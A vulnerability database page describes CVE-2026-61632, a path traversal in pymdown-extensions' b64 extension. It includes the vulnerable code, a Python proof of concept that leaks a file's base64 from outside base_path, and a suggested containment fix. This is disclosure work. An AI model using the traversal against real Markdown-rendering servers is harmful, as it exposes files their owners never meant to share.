🛡️ CVE-2026-61632 — pymdown-extensions

🟡 CVSS 5.3 — Medium ✅ No Known Exploit CWE-22 NVD
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path ### Summary The `b64` extension inlines images referenced by `` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI. ### Details In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`): ```python if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... ``` There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`. ### PoC Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output. ```python import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) ``` Output: ``` LEAKED:

``` The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking. ### Impact An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. ### Suggested fix Resolve the real path and require it to stay within `base_path` before opening: ```python file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path ``` The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.

Weakness class

CVE-2026-61632 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-61632 is recorded against 2 packages.

  • pymdown-extensions (fixed in 11.0.0)
  • unknown

Timeline and source

Published on 24 July 2026 and last revised on 11 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-07-24
Updated 2026-08-12
Modified 2026-08-11
Fix URL N/A

Affected Packages

Software From version Fixed in
pymdown-extensions 11.0.0
unknown

Vulnerability Monitoring

Track new vulnerabilities in pymdown-extensions

CVE-2026-61632 is rated CVSS 5.3 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.